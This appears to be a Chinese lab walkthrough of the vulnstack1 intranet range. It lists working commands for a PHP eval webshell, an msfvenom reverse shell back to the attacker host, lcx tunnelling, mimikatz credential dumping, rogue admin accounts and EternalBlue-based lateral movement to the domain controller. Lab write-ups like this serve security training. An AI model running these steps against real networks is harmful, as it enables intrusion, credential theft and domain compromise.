记一次内网渗透 ATT&CK靶场 vulnstack1 | xxx记一次内网渗透 ATT&CK靶场 vulnstack1 – xxx
菜单

记一次内网渗透 ATT&CK靶场 vulnstack1

十月 27, 2021 - FreeBuf

本文仅用于技术学习和交流,严禁用于非法用途,否则产生的一切后果自行承担。

vulnstack内网渗透环境靶场-1

靶场下载地址:

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

网络拓扑图:

记一次内网渗透 ATT&CK靶场 vulnstack1

基本信息

win7为VM1,win2003为VM2,win2008为VM3

原始密码为hongrisec@2019

可自行修改

0x01环境配置 

攻击机:

kali ip:192.168.162.81

winXp ip: 192.168.162.137

靶机:

win7 外网ip:192.168.162.7   内网ip:192.168.225.7

win2003 ip: 192.168.225.3

win2008 ip: 192.168.225.8

配置完后,有个小tips

win 7是无法直接ping的,因为有防火墙,只能访问即可,如果有需要可以关闭防火墙

在win7主机中使用phpstudy开启环境

开始渗透

0x02 信息收集

nmap扫描存活主机

nmap -sP 192.168.162.1/24

记一次内网渗透 ATT&CK靶场 vulnstack1

端口扫描

nmap -sT 192.168.162.7

nmap -sS 192.168.162.7

扫描发现开放了80、3306端口

记一次内网渗透 ATT&CK靶场 vulnstack1

有80端口,浏览器访问

有phpStudy探针,网站根路径是C:/phpStudy111/WWW

记一次内网渗透 ATT&CK靶场 vulnstack1

3306端口,测试下弱口令root/root

记一次内网渗透 ATT&CK靶场 vulnstack1

记一次内网渗透 ATT&CK靶场 vulnstack1

接下来扫描目录

方式一

记一次内网渗透 ATT&CK靶场 vulnstack1

方式二

使用dirsearch,github地址

0x03 拿webshell

访问phpmyadmin,使用root/root可以正常登录

记一次内网渗透 ATT&CK靶场 vulnstack1

查看是否有写入权限

show VARIABLES like ‘%secure%’;

mysql中的 secure_file_priv参数,它的默认值是NULL,表示限制不能导入导出

记一次内网渗透 ATT&CK靶场 vulnstack1

方式一

尝试日志写 shell

查看当前的日志目录:show variables like ‘general%’;

没有开启

记一次内网渗透 ATT&CK靶场 vulnstack1

开启日志记录:set global general_log = “ON”;

根据探针的服务器绝对路径C:/phpStudy111/WWW

指定日志文件:set global general_log_file = “C:/phpStudy111/WWW/shell.php”;

记一次内网渗透 ATT&CK靶场 vulnstack1

将一句话木马写入指定的日志文件中

SELECT ‘<?php eval($_POST[“shell”]);?>’

用管理工具连接http://192.168.162.7/shell.php

记一次内网渗透 ATT&CK靶场 vulnstack1

方式二

查阅目录,发现还有yxcms

记一次内网渗透 ATT&CK靶场 vulnstack1

试着访问一下

记一次内网渗透 ATT&CK靶场 vulnstack1

查看页面,提示有后台

记一次内网渗透 ATT&CK靶场 vulnstack1

访问后台

CMS相关系列,拿到后台,找模板编辑写入一句话记一次内网渗透 ATT&CK靶场 vulnstack1

拿到shell

记一次内网渗透 ATT&CK靶场 vulnstack1

0x04 权限维持/提升

现在已经拿到webshell了,接着就是持久化控制这个shell

尝试远程登录

查看当前用户权限

记一次内网渗透 ATT&CK靶场 vulnstack1

查看一下3389端口开放情况 netstat -an | find “3389”

我们使用以下命令(注册表命令)开启它(win7、win2003、winxp),运行后显示3389端口已经成功开启(关闭命令把如下0都换成1):

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal” “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

记一次内网渗透 ATT&CK靶场 vulnstack1

查看防火墙状况netsh firewall show state

关闭防火墙命令:netsh advfirewall set allprofiles state off #off换成on则开启

查看是什么操作系统 & 系统版本:

系统中文:systeminfo | findstr /B /C:”OS 名称” /C:”OS 版本”

系统英文:systeminfo | findstr /B /C:”OS Name” /C:”OS Version”

查询进程及服务:

tasklist,默认显示映像名称,PID,会话名,会话,内存使用

记一次内网渗透 ATT&CK靶场 vulnstack1

添加用户,加管理员组权限

net user mdp1234 root@2021 /add  #添加账户密码

net localgroup administrators mdp1234 /add  #给mdp1234账户添加为管理员权限

net user mdp1234  #查询是否成功添加mdp1234用户

记一次内网渗透 ATT&CK靶场 vulnstack1

远程连接3389,失败

记一次内网渗透 ATT&CK靶场 vulnstack1

nmap扫描3389端口发现状态为filtered

nmap -sS -p 3389 192.168.162.7

记一次内网渗透 ATT&CK靶场 vulnstack1

查看win7,防火墙开启了阻止所有与未在允许程序列表中的程序的连接,设置了白名单。

记一次内网渗透 ATT&CK靶场 vulnstack1

记一次内网渗透 ATT&CK靶场 vulnstack1

要连接3389有如下思路:

1.尝试命令关闭防火墙,然后连接(动作太大)

2.使用命令行直接添加一个防火墙规则

3.反弹一个msf的shell回来,尝试开启远程桌面

4.尝试使用隧道连接3389(使用sunny-ngrok)

示例2:使用命令行直接添加一个防火墙规则

使用命令行直接添加规则允许3389端口流量一个防火墙规则

netsh advfirewall firewall add rule name=”Lcx”

dir=in action=allow program=”C:phpStudy111WWWLcx.exe” enable=yes

记一次内网渗透 ATT&CK靶场 vulnstack1

使用lcx.exe 来绕过防火墙

攻击机上执行Lcx.exe -listen 8444 3333

工具上传lcx

Lcx.exe -slave <攻击机ip> 8444 127.0.0.1 3389

在本机上远程桌面连接127.0.0.1的3333端口

记一次内网渗透 ATT&CK靶场 vulnstack1

记一次内网渗透 ATT&CK靶场 vulnstack1

示例3:反弹一个msf的shell回来,尝试开启远程桌面

使用msfvenom生成payload文件,上传到win7

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.162.81 LPORT=5555 -f exe > shell.exe

msf开启监听

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.162.81

set LPORT 5555

options查看具体payload信息

exploit

记一次内网渗透 ATT&CK靶场 vulnstack1

Winxp管理工具上执行shell.exe

记一次内网渗透 ATT&CK靶场 vulnstack1

background  #返回,把meterpreter后台挂起

sessions -i  #查看已经获取的会话

sessions -i 1  #连接到指定序号的meterpreter会话已继续利用

记一次内网渗透 ATT&CK靶场 vulnstack1

拿到了meterpreter的shell,提权到system

记一次内网渗透 ATT&CK靶场 vulnstack1

开启远程桌面

run post/windows/manage/enable_rdp

记一次内网渗透 ATT&CK靶场 vulnstack1

成功开启了远程桌面,并且生成了一个txt文件,用来关闭远程桌面

/root/.msf4/loot/20211005144310_default_192.168.162.7_host.windows.cle_639890.txt

关闭远程桌面:run multi_console_command -r 文件地址

连接远程桌面

记一次内网渗透 ATT&CK靶场 vulnstack1

对于非服务器版本的windows 远程登录的话,断开该主机当前的连接,可能会惊动管理员。

0x05 mimikatz破解密码

方式一、

上传一个mimikatz,然后执行

mimikatz.exe “”privilege::debug”” “”sekurlsa::logonpasswords full”” exit >> log.txt

右键编辑

记一次内网渗透 ATT&CK靶场 vulnstack1

记一次内网渗透 ATT&CK靶场 vulnstack1

方法二:kiwi模块、mimikatz模块

ps  #查看进程ID

ps | find “explorer”

migrate 512     # 模块默认是加载32位的系统,先将meterpreter迁移到64位的进程,而且需要是system权限运行的

load kiwi

creds_all  # 列举系统中的明文密码

记一次内网渗透 ATT&CK靶场 vulnstack1

记一次内网渗透 ATT&CK靶场 vulnstack1

mimikatz模块

load mimikatz

mimikatz_command -f sekurlsa::searchPasswords

记一次内网渗透 ATT&CK靶场 vulnstack1

疑问?

不知道是不是mimikatz版本的原因,命令执行完后获取不到明文密码

0x06 内网信息收集

判断是否存在域

使用 ipconfig /all 查看 DNS 服务器

记一次内网渗透 ATT&CK靶场 vulnstack1

发现 DNS 服务器名为 god.org

有内网ip

记一次内网渗透 ATT&CK靶场 vulnstack1

查看域信息:net view

记一次内网渗透 ATT&CK靶场 vulnstack1

查看主域信息:net view /domain

记一次内网渗透 ATT&CK靶场 vulnstack1

查询当前的登录域与用户信息:net config workstation

记一次内网渗透 ATT&CK靶场 vulnstack1

判断主域 net time /domain

记一次内网渗透 ATT&CK靶场 vulnstack1

查找域控

利用 nslookup 命令直接解析域名服务器:nslookup god.org

查看当前域的所有用户:net user /domain

记一次内网渗透 ATT&CK靶场 vulnstack1

查看路由信息 route print

记一次内网渗透 ATT&CK靶场 vulnstack1

查看域管理员的名字net group “domain admins” /domain

记一次内网渗透 ATT&CK靶场 vulnstack1

收集到的信息:

域名为god.org

域控为OWA$

域管理员为Administrator

域内有三个用户:Administrator、ligang、liukaifeng01

域内三台主机:ROOT-TVI862UBEH、STU1(win7)、OWA

密码为hongrisec@2021

内网网段为192.168.225.1/24

拿到域控IP192.168.225.8

记一次内网渗透 ATT&CK靶场 vulnstack1

0x07 横向探测

探测内网其他主机:

方式一

使用cmd,用个for循环

记一次内网渗透 ATT&CK靶场 vulnstack1

方式二

use auxiliary/scanner/netbios/nbname  #使用模块扫描存活主机

记一次内网渗透 ATT&CK靶场 vulnstack1

没执行成功,需要先添加msf内网路由

记一次内网渗透 ATT&CK靶场 vulnstack1

记一次内网渗透 ATT&CK靶场 vulnstack1

至此

内网IP

域控192.168.225.8

web网关服务器192.168.225.7

还有一个域成员192.168.225.3

0x08 横向渗透

msf添加对内网的路由

扫描对应主机的端口

use auxiliary/scanner/portscan/tcp  #使用msf的扫描端口模块

记一次内网渗透 ATT&CK靶场 vulnstack1

也可以直接扫描内网ms17_010

background

use auxiliary/scanner/smb/smb_ms17_010

有445端口,整一波ms17-010

漏洞利用

搜索search ms17-010

use exploit/windows/smb/ms17_010_eternalblue

记一次内网渗透 ATT&CK靶场 vulnstack1

失败给整蓝屏了

记一次内网渗透 ATT&CK靶场 vulnstack1

加入代理

攻击机是162段的,内网是225段的,攻击机是无法直接访问225段,只能通过在刚拿下的win7上做个代理,通过225.7就可以访问其他225段的服务器

而刚刚做的路由,只是让msf能访问到225段,这个是让整个攻击机访问

设置代理,设置成功后打开其他程序需在前面加上proxychains

use auxiliary/server/socks4a

run

命令jobs查看是否有任务在执行

记一次内网渗透 ATT&CK靶场 vulnstack1

记一次内网渗透 ATT&CK靶场 vulnstack1

打开/etc/proxychains.conf,设置socks4

记一次内网渗透 ATT&CK靶场 vulnstack1

测试

proxychains nmap -p 3389 -Pn -sT 192.168.225.3  #扫描3389端口

proxychains nmap -p 445 -Pn -sT 192.168.225.3 #扫描445端口

记一次内网渗透 ATT&CK靶场 vulnstack1

记一次内网渗透 ATT&CK靶场 vulnstack1

开启3389

使用auxiliary/admin/smb/ms17_010_command来执行一些命令

use auxiliary/admin/smb/ms17_010_command

show options

set RHOSTS 192.168.225.3

set command net user mdp1234 root@2021 /add #添加用户

run #成功执行

set command net localgroup administrators mdp1234 /add #管理员权限

run #成功执行

set command ‘REG ADD HKLMSYSTEMCurrentControlSetControlTerminal” “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f’

run #成功执行

记一次内网渗透 ATT&CK靶场 vulnstack1

连接成功

记一次内网渗透 ATT&CK靶场 vulnstack1

使用exploit/windows/smb/ms17_010_psexec 尝试打一个正向shell回来

记一次内网渗透 ATT&CK靶场 vulnstack1

2003的机器,直接getsystem

exit# 终止 meterpreter 会话

记一次内网渗透 ATT&CK靶场 vulnstack1

域控也开放了445端口,接下相同方式来拿域控192.168.225.8,但有防火墙正向连接不了

域控有防火墙,所以使用ms17_010的远程命令执行关闭防火墙

使用auxiliary/admin/smb/ms17_010_command来执行命令

set command netsh advfirewall set allprofiles state off

接着使用exploit/windows/smb/ms17_010_psexec 尝试打一个正向shell回来

记一次内网渗透 ATT&CK靶场 vulnstack1

拿下域控

记一次内网渗透 ATT&CK靶场 vulnstack1

疑问?如果不关闭域控防火墙,还有什么样的方式可以拿下域控

以上涉及的内网知识可能比较基础,师傅们见谅。

文中有两个疑问,希望有师傅能解答一下!

未完待续。。。

本文作者:, 转载请注明来自FreeBuf.COM

# web安全 # 内网渗透 # 网络安全技术

Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51